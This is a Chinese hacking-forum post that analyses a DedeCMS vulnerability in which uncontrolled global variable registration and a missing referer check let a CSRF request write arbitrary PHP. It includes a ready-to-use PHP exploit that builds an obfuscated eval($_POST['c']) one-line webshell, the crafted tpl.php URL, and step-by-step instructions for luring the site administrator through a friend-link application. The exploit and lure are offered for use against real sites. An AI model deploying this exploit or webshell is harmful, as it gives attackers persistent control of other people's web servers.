黑帽联盟

 找回密码
 会员注册
查看: 1405|回复: 0
打印 上一主题 下一主题

[系统安全] dedeCMS友情链接getshell漏洞分析

[复制链接]
yun 黑帽联盟官方人员 

920

主题

37

听众

1364

积分

超级版主

Rank: 8Rank: 8

  • TA的每日心情
    奋斗
    2019-10-18 11:20
  • 签到天数: 678 天

    [LV.9]以坛为家II

    在tpl.php中
    1. /*---------------------------
    2. function savetagfile() { }
    3. 保存标签碎片修改
    4. --------------------------*/
    5. else if($action=='savetagfile')
    6. {
    7.     if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename))
    8.     {
    9.         ShowMsg('文件名不合法,不允许进行操作!', '-1');
    10.         exit();
    11.     }
    12.     require_once(DEDEINC.'/oxwindow.class.php');
    13.     $tagname = preg_replace("#\.lib\.php$#i", "", $filename);
    14.     $content = stripslashes($content);
    15.     $truefile = DEDEINC.'/taglib/'.$filename;
    16.     $fp = fopen($truefile, 'w');
    17.     fwrite($fp, $content);
    18.     fclose($fp);
    19.     $msg = "
    20.     <form name='form1' action='tag_test_action.php' target='blank' method='post'>
    21.       <input type='hidden' name='dopost' value='make' />
    22.         <b>测试标签:</b>(需要使用环境变量的不能在此测试)
    23.         <textarea name='partcode' cols='150' rows='6' style='width:90%;'>{dede:{$tagname} }{/dede:{$tagname}}</textarea>
    24.         <input name='imageField1' type='image' class='np' src='images/button_ok.gif' width='60' height='22' border='0' />
    25.     </form>
    26.     ";
    27.     $wintitle = "成功修改/创建文件!";
    28.     $wecome_info = "<a href='templets_tagsource.php'>标签源码碎片管理</a> >> 修改/新建标签";
    29.     $win = new OxWindow();
    30.     $win->AddTitle("修改/新建标签:");
    31.     $win->AddMsgItem($msg);
    32.     $winform = $win->GetWindow("hand"," ",false);
    33.     $win->Display();
    34.     exit();
    35. }
    复制代码
    这里是漏洞利用写入文件的地方,但是我们知道,基本所有的不安全情况,是在数据输入输出时发生的,这里的参数是怎么传递过来的呢?还有$filename和$content是怎么传递参数的呢?继续跟踪
    config.php又 include了 common.inc.php ,而一般情况下,类似common.php这种文件名的,里面存放着一些将会经常用到的函数。继续跟踪上去。果然发现了猫腻在common.inc.php 发现了
    1. foreach(Array('_GET','_POST','_COOKIE') as $_request)
    2.     {
    3.         foreach($$_request as $_k => $_v)
    4.         {
    5.             if($_k == 'nvarname') ${$_k} = $_v;
    6.             else ${$_k} = _RunMagicQuotes($_v);
    7.         }
    8.     }
    复制代码
    问题在哪呢? 这段代码大概的意思是 从数组中获取获取参数的方,这里GET,POST,COOKIE方式的参数都有了。
    先来跟踪GET,二层循环中$_GET(这个可以看作是一个全局数组)**$_k ,$_v 获取数组的key value值.${$_k}这里全局注册了变量,假如输入GET型参数 ?test=k4l0n.则在本php页及所有包含本页的php页中 , $test的值都被赋值为了kl0n
    而tpl.php中的$action,$content,$filename变量没有初始化,从而能操纵这些变量写入任意的代码。
    继续跟踪 userLogin类的getUserID函数:
    1. /**
    2.      *  获得用户的ID
    3.      *
    4.      * @access    public
    5.      * @return    int
    6.      */
    7.     function getUserID()
    8.     {
    9.         if($this->userID != '')
    10.         {
    11.             return $this->userID;
    12.         }
    13.         else
    14.         {
    15.             return -1;
    16.         }
    17.     }
    复制代码
    userLogin类用户登录
    1. /**
    2.      *  检验用户是否正确
    3.      *
    4.      * @access    public
    5.      * @param     string    $username  用户名
    6.      * @param     string    $userpwd  密码
    7.      * @return    string
    8.      */
    9.     function checkUser($username, $userpwd)
    10.     {
    11.         global $dsql;

    12.         //只允许用户名和密码用0-9,a-z,A-Z,'@','_','.','-'这些字符
    13.         $this->userName = preg_replace("/[^0-9a-zA-Z_@!\.-]/", '', $username);
    14.         $this->userPwd = preg_replace("/[^0-9a-zA-Z_@!\.-]/", '', $userpwd);
    15.         $pwd = substr(md5($this->userPwd), 5, 20);
    16.         $dsql->SetQuery("SELECT admin.*,atype.purviews FROM `#@__admin` admin LEFT JOIN `#@__admintype` atype ON atype.rank=admin.usertype WHERE admin.userid LIKE '".$this->userName."' LIMIT 0,1");
    17.         $dsql->Execute();
    18.         $row = $dsql->GetObject();
    19.         if(!isset($row->pwd))
    20.         {
    21.             return -1;
    22.         }
    23.         else if($pwd!=$row->pwd)
    24.         {
    25.             return -2;
    26.         }
    27.         else
    28.         {
    29.             $loginip = GetIP();
    30.             $this->userID = $row->id;
    31.             $this->userType = $row->usertype;
    32.             $this->userChannel = $row->typeid;
    33.             $this->userName = $row->uname;
    34.             $this->userPurview = $row->purviews;
    35.             $inquery = "UPDATE `#@__admin` SET loginip='$loginip',logintime='".time()."' WHERE id='".$row->id."'";
    36.             $dsql->ExecuteNoneQuery($inquery);
    37.             $sql = "UPDATE #@__member SET logintime=".time().", loginip='$loginip' WHERE mid=".$row->id;
    38.             $dsql->ExecuteNoneQuery($sql);
    39.             return 1;
    40.         }
    41.     }

    42.     /**
    43.      *  保持用户的会话状态
    44.      *
    45.      * @access    public
    46.      * @return    int    成功返回 1 ,失败返回 -1
    47.      */
    48.     function keepUser()
    49.     {
    50.         if($this->userID != '' && $this->userType != '')
    51.         {
    52.             global $admincachefile,$adminstyle;
    53.             if(empty($adminstyle)) $adminstyle = 'dedecms';

    54.             @session_register($this->keepUserIDTag);
    55.             $_SESSION[$this->keepUserIDTag] = $this->userID;

    56.             @session_register($this->keepUserTypeTag);
    57.             $_SESSION[$this->keepUserTypeTag] = $this->userType;

    58.             @session_register($this->keepUserChannelTag);
    59.             $_SESSION[$this->keepUserChannelTag] = $this->userChannel;

    60.             @session_register($this->keepUserNameTag);
    61.             $_SESSION[$this->keepUserNameTag] = $this->userName;

    62.             @session_register($this->keepUserPurviewTag);
    63.             $_SESSION[$this->keepUserPurviewTag] = $this->userPurview;

    64.             @session_register($this->keepAdminStyleTag);
    65.             $_SESSION[$this->keepAdminStyleTag] = $adminstyle;

    66.             PutCookie('DedeUserID', $this->userID, 3600 * 24, '/');
    67.             PutCookie('DedeLoginTime', time(), 3600 * 24, '/');

    68.             $this->ReWriteAdminChannel();

    69.             return 1;
    70.         }
    71.         else
    72.         {
    73.             return -1;
    74.         }
    75.     }
    复制代码
    通过跟踪发现,这里没有对管理员的来源页进行任何检查,只是检查了管理员是否登陆,这就造成了一个CSRF漏洞。到这里漏洞思路就很清晰了,由于变量可控漏洞导致可写入任意代码,由于CSRF漏洞诱导管理员以管理员的权限去写入代码。
    先上exp:
    1. <?php
    2. //print_r($_SERVER);
    3. $referer = $_SERVER['HTTP_REFERER'];
    4. $dede_login = str_replace("friendlink_main.php","",$referer);//去掉friendlink_main.php,取得dede后台的路径
    5. //拼接 exp
    6. $muma = '<'.'?'.'@'.'e'.'v'.'a'.'l'.'('.'$'.'_'.'P'.'O'.'S'.'T'.'['.'\''.'c'.'\''.']'.')'.';'.'?'.'>';
    7. $exp = 'tpl.php?action=savetagfile&actiondo=addnewtag&content='. $muma .'&filename=shell.lib.php';
    8. $url = $dede_login.$exp;
    9. //echo $url;
    10. header("location: ".$url);
    11. // send mail coder
    12. exit();
    13. ?>
    复制代码
    首先,将这个exp部署在你的服务器上,当然你必须要有一个公网ip,假设你的url为:http://www.xxxx.com/exp.php`
    在目标网站的申请友情链接处申请一个友情链接
    1.png

    2.png

    提交之后等待管理员审核,当管理员审核的时候,一般情况下会点进你的网站看一看审核的地方在 后台—》模块—》辅助插件—》友情链接
    3.png

    当点这个友情链接的时候,就生成了一句话shell,shell地址在//include/taglib/shell.lib.php
    4.png

    管理员触发了一个链接
    1. http://127.0.0.1/DedeCMS-V5.7-UTF8-SP1-Full/uploads/dede/tpl.php?action=savetagfile&actiondo=addnewtag&content=%3C?@eval($_POST[%27c%27]);?%3E&filename=shell.lib.php
    复制代码
    这个链接是利用管理员的权限生成了一句话
    8.png
    帖子永久地址: 

    黑帽联盟 - 论坛版权1、本主题所有言论和图片纯属会员个人意见,与本论坛立场无关
    2、本站所有主题由该帖子作者发表,该帖子作者与黑帽联盟享有帖子相关版权
    3、其他单位或个人使用、转载或引用本文时必须同时征得该帖子作者和黑帽联盟的同意
    4、帖子作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
    5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
    6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
    7、黑帽联盟管理员和版主有权不事先通知发贴者而删除本文

    您需要登录后才可以回帖 登录 | 会员注册

    发布主题 !fastreply! 收藏帖子 返回列表 搜索
    回顶部